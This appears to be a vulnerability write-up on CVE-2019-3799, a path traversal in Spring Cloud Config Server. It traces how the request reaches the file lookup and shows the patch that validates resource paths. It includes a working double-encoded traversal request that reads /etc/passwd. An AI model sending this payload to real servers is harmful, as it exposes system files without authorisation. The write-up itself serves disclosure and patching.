Security Advisory

https://pivotal.io/security/cve-2019-3799

Reproduce

DEMO： https://github.com/spring-cloud/spring-cloud-config#quick-start

1 2	GET /foo/default/master/..%252F..%252F..%252F..%252Fetc%252fpasswd HTTP/1.1 Host: localhost:8888

Analysis

Spring Cloud Config provides server and client-side support for externalized configuration in a distributed system. With the Config Server you have a central place to manage external properties for applications across all environments.

According to the DOC，The Config Server provides these through an additional endpoint at /{name}/{profile}/{label}/{path} where name, profile and label have the same meaning as the regular environment endpoint, but path is a file name (e.g. log.xml)。
For example if we want get test.json as plain text, you can send this request：

1	GET http://127.0.0.1:8888/foo/label/master/test.json

So how the backend handle this request? When we send the payload, server will dispatcher the request to org/springframework/cloud/config/server/resource/ResourceController.java:54：

Step into retrieve function which located inorg/springframework/cloud/config/server/resource/ResourceController.java:104 ：

synchronized String retrieve(ServletWebRequest request, String name, String profile,
			String label, String path, boolean resolvePlaceholders) throws IOException {
		name = resolveName(name);
		label = resolveLabel(label);
		Resource resource = this.resourceRepository.findOne(name, profile, label, path);
		...
	}

Continue step into the findOne function:

You can see the locations value is file:/tmp/config-repo-7168113927339570935/. The Config-Server will pull the remote repo and use the locations folder to store these temporary files：

Notice the path value is ..%2F..%2F..%2F..%2Fetc%2fpasswd，so actually the full path like this ：

at the end, when call StreamUtils.copyToString(is, Charset.forName("UTF-8"), we can read the /etc/passwd content：

Patch

https://github.com/spring-cloud/spring-cloud-config/commit/3632fc6f64e567286c42c5a2f1b8142bfde505c2

The backend will check whether the resource paths is valid via isInvalidPath and isInvalidEncodedPath:
：

if (!isInvalidPath(local) && !isInvalidEncodedPath(local)) {
	Resource file = this.resourceLoader.getResource(location)
			.createRelative(local);
	if (file.exists() && file.isReadable()) {
		return file;
	}
}